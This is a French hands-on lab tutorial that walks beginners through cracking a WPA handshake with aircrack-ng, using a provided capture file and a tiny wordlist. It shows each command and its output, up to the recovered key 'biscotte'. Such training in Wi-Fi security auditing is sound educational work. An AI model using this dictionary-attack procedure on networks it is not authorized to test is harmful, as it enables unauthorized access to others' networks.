Effectuer une attaque par dictionnaire sur une poignée de main WPA avec aircrack-ng

Beginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez comment effectuer une attaque par dictionnaire contre une poignée de main WPA/WPA2. Lorsqu'un appareil se connecte à un réseau Wi-Fi protégé par WPA/WPA2, une poignée de main en 4 étapes se produit pour authentifier l'appareil. En capturant cette poignée de main, il est possible d'essayer de casser le mot de passe du réseau hors ligne.

Une attaque par dictionnaire est une méthode pour pénétrer dans un système protégé par mot de passe en saisissant systématiquement chaque mot d'une liste (appelée dictionnaire ou liste de mots) comme mot de passe. Nous utiliserons aircrack-ng, un outil puissant pour l'audit de sécurité Wi-Fi, pour mener cette attaque. Un fichier de poignée de main capturée (.cap) et une liste de mots vous seront fournis pour simuler un scénario réel.

À la fin de ce laboratoire, vous serez capable d'utiliser aircrack-ng pour trouver un mot de passe Wi-Fi à partir d'un fichier de poignée de main capturée.

Localiser le fichier .cap de poignée de main capturée

Dans cette étape, vous allez localiser le fichier de poignée de main WPA pré-capturé. Pour ce laboratoire, un fichier de capture d'échantillon nommé wpa_handshake.cap a été placé dans votre répertoire ~/project. Ce fichier contient le trafic réseau, y compris la poignée de main essentielle en 4 étapes nécessaire à l'attaque.

Tout d'abord, listons les fichiers dans le répertoire courant pour confirmer la présence du fichier de capture. Utilisez la commande ls -l.

ls -l

Vous devriez voir le fichier wpa_handshake.cap dans la sortie, ainsi que d'autres fichiers.

total 8
-rw-r--r-- 1 labex labex 11 Mar 25 10:00 rockyou.txt
-rw-r--r-- 1 labex labex 985 Mar 25 10:00 wpa_handshake.cap

Maintenant que vous avez confirmé la présence du fichier de capture, vous pouvez passer à l'étape suivante.

Trouver un fichier de liste de mots tel que rockyou.txt

Dans cette étape, vous allez trouver et inspecter le fichier de liste de mots. Un dictionnaire ou une liste de mots est un simple fichier texte qui contient une liste de mots de passe potentiels, un par ligne. aircrack-ng utilisera cette liste pour tester chaque mot de passe par rapport à la poignée de main capturée.

Une petite liste de mots nommée rockyou.txt a été créée pour vous dans le répertoire ~/project. Visualisons son contenu à l'aide de la commande cat.

cat rockyou.txt

La sortie affichera les mots de passe potentiels contenus dans le fichier.

password
12345678
biscotte
qwerty

Dans un scénario réel, les listes de mots peuvent être massives, contenant des millions, voire des milliards de mots de passe. Pour ce laboratoire, notre petite liste contient le mot de passe correct, ce qui permettra à l'attaque de réussir rapidement.

Construire la commande aircrack-ng avec le fichier .cap

Dans cette étape, vous utiliserez aircrack-ng pour inspecter le fichier de capture. Avant de lancer l'attaque, il est de bonne pratique de vérifier si le fichier .cap contient une poignée de main WPA valide. aircrack-ng peut faire cela pour vous.

Exécutez aircrack-ng et fournissez le fichier de capture wpa_handshake.cap comme argument.

aircrack-ng wpa_handshake.cap

aircrack-ng analysera le fichier et affichera des informations sur les réseaux qu'il trouve.

Opening wpa_handshake.cap
Read 13 packets.

   ##  BSSID              ESSID                     Encryption

   1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
Opening wpa_handshake.cap
Please specify a dictionary (option -w).

Portez une attention particulière à la ligne WPA (1 handshake). Cela confirme qu'une poignée de main WPA complète pour le réseau "teddy" a été capturée avec succès et est présente dans le fichier. C'est la confirmation dont nous avons besoin pour procéder à l'attaque par dictionnaire. L'outil vous demande également de spécifier un dictionnaire, ce que vous ferez dans les étapes à venir.

Spécifier la liste de mots à l'aide du paramètre -w

Dans cette étape, vous apprendrez comment spécifier une liste de mots pour l'attaque à l'aide du paramètre -w. Ce paramètre indique à aircrack-ng quel fichier utiliser comme dictionnaire de mots de passe potentiels.

La syntaxe complète de la commande est aircrack-ng <capture_file> -w <wordlist_file>.

Pour comprendre comment cela fonctionne, essayons d'abord d'exécuter la commande avec une liste de mots qui n'existe pas. Cela vous aidera à voir comment aircrack-ng gère les erreurs. Essayez d'exécuter la commande avec nonexistent.txt comme liste de mots.

aircrack-ng wpa_handshake.cap -w nonexistent.txt

Vous recevrez un message d'erreur car le fichier ne peut pas être trouvé.

Opening wpa_handshake.cap
Read 13 packets.

   ##  BSSID              ESSID                     Encryption

   1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
Opening wpa_handshake.cap
The file 'nonexistent.txt' doesn't exist.
Please specify a dictionary (option -w).

Cela confirme que aircrack-ng nécessite un fichier valide et existant pour le paramètre -w. Dans l'étape suivante, vous utiliserez le fichier de liste de mots correct pour exécuter l'attaque.

Lancer l'attaque et analyser la sortie 'KEY FOUND'

Dans cette étape, vous lancerez l'attaque par dictionnaire complète avec la liste de mots correcte et analyserez la sortie pour trouver la clé. Maintenant que vous savez comment spécifier le fichier de capture et la liste de mots, vous pouvez lancer l'attaque.

Exécutez la commande aircrack-ng, en fournissant wpa_handshake.cap comme fichier de capture et rockyou.txt comme liste de mots.

aircrack-ng wpa_handshake.cap -w rockyou.txt

aircrack-ng va maintenant démarrer. Il testera chaque mot de passe de rockyou.txt contre la poignée de main. Comme notre liste de mots est petite et contient le mot de passe correct, le processus sera très rapide.

Opening wpa_handshake.cap
Read 13 packets.

   ##  BSSID              ESSID                     Encryption

   1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
Opening wpa_handshake.cap
[00:00:00] 3 keys tested (23.08 k/s)


                                     KEY FOUND! [ biscotte ]


      Master Key     : ED A5 79 22 E5 5F 56 64 74 CB 89 98 44 6A 18 25
                       E0 E3 44 86 8A F3 89 84 55 4A D3 94 03 19 28 79

      Transient Key  : 6A 84 A9 58 52 2E 61 30 62 50 2B 88 46 1B 2A 8A
                       ...

      EAPOL HMAC     : 4E 1A E7 74 52 86 C5 29 A3 43 54 B2 1B 2D 34 18

La ligne la plus importante dans la sortie est KEY FOUND! [ biscotte ]. Cela indique que l'attaque a réussi. aircrack-ng a testé les mots de passe de la liste de mots et a découvert que biscotte est le mot de passe correct pour le réseau "teddy".

Résumé

Dans ce laboratoire, vous avez réussi à effectuer une attaque par dictionnaire sur une poignée de main WPA à l'aide de aircrack-ng.

Vous avez appris à :

  • Localiser et identifier un fichier de capture (.cap) et une liste de mots.
  • Utiliser aircrack-ng pour inspecter un fichier de capture et confirmer la présence d'une poignée de main WPA.
  • Utiliser le paramètre -w pour spécifier une liste de mots pour l'attaque.
  • Exécuter l'attaque par dictionnaire et interpréter les résultats pour trouver la clé réseau.

Cet exercice démontre une technique fondamentale dans l'audit de sécurité Wi-Fi et souligne l'importance d'utiliser des mots de passe forts et complexes qui ne peuvent pas être facilement devinés par des attaques par dictionnaire.